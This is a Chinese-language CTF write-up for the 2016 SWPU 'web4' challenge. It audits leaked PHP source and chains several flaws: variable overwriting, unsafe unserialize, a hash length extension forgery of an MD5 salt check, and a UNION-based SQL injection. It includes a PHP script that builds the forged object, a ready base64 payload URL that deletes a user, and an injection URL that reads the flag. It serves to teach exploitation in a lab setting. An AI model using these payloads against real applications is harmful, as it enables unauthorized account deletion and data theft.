2016-SWPU审计型web4题解(利用哈希扩展攻击)
1.看writeup都没复现好,后来看了聂师傅的csdn上的详细分析才理解和复现
首先是源码泄露http://10.10.52.68:23720/web.zip
然后就是审计了。因为我看了writeup,知道哪里有问题,所以直接看riji.php这个文件
if (@$_SESSION['login'] !== 1)
{
header('Location:/web/index.php');
exit();
}
if($_SESSION['user'])
{
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
$id = intval($result['userid']);
}
}
判断是否登录,如果没有登录,则跳到首页,如果登录了,也就是有$_SESSION['user'],然后执行
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
$id = intval($result['userid']);
}
正常情况下得到$result['userid']为真,然后intval,赋给$id,带入到下面的SQL语句
$sql1 = "select * from msg where userid= $id order by id";
一看就不能注入了,都特么intval了。那么如果$result['userid']为空呢,不就是不执行
$id = intval($result['userid']);
了吗!用户登录状态下,肯定是有SESSION的,也就是能过第一个if判断
if($_SESSION['user'])
之后,如果我们能删除当前的用户,那么
$sql = "select * from user where name='$username'";
则会查询为空,也就是$result['userid']会为空,那么就不会执行intval了,也就可以注入了
2.接下来重点就是删除当前的登录用户了
在common.php文件中
foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");
}
else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
可以看出是伪全局机制,在下面的利用中要用到
在api.php文件中的最后两行
$a = unserialize(base64_decode($api));
$a->do_method();
可以看到是base64解码然后反序列化,之后调用do_method()函数。
而利用变量覆盖$api就可控了,admin类也就可控了。跟一下代码
function do_method(){
if($this->check() === 1){
if($this->method === 'del_msg'){
$this->del_msg();
}
elseif($this->method === 'del_user'){
$this->del_user();
}
else{
exit();
}
}
}
发现是可以删除用户的。不过进行了权限验证
if($this->check() === 1)
跟一下check函数
function check(){
$username = addslashes($this->name);//进入数据库的数据进行转义
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if(!empty($result)){
//利用 salt 验证是否为该用户
if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){//检查是否为admin用户
return 1;
}
else{
return 0;
}
}
else{
return 0;
}
}
else{
return 0;
}
}
主要的验证在
if($this->check === md5($result['salt'] . $this->data . $username))
这种熟悉CTF的一眼就能看出是hash扩展攻击可以绕过,当然我看不出来-.-,hash length extension attack可以去看三叶草的师傅的文章。此处略过。找回密码处用户名填写admin,其他随意,会得到check值,解码得 024468e6ff80e4adce0f291eb2ecbc3c,我就直接上脚本了
,然后构造一下$api
<?php
class admin {
var $name="admin";
var $check="1c57c75b02a07f92ba59245fd351b10c"; //要check的md5
var $data="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00"; //工具生成好的可控变量(payload)
var $method="del_user"; //要调用的函数
var $userid="17"; //要删除的用户
}
$a=new admin();
$api=base64_encode(serialize($a));
echo $api;
其中$userid为要删除的用户id,可以在cookie中解码看到。
在一个浏览器中用户登录的情况下,再开一个浏览器访问
http://10.10.52.68:23720/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiIxYzU3Yzc1YjAyYTA3ZjkyYmE1OTI0NWZkMzUxYjEwYyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiIxNyI7fQ==
就可以删除用户了,再在原来的登录用户直接union注入即可
http://10.10.52.68:23720/riji.php?id=1%20union%20select%201,2,flag%20from%20flag--%20-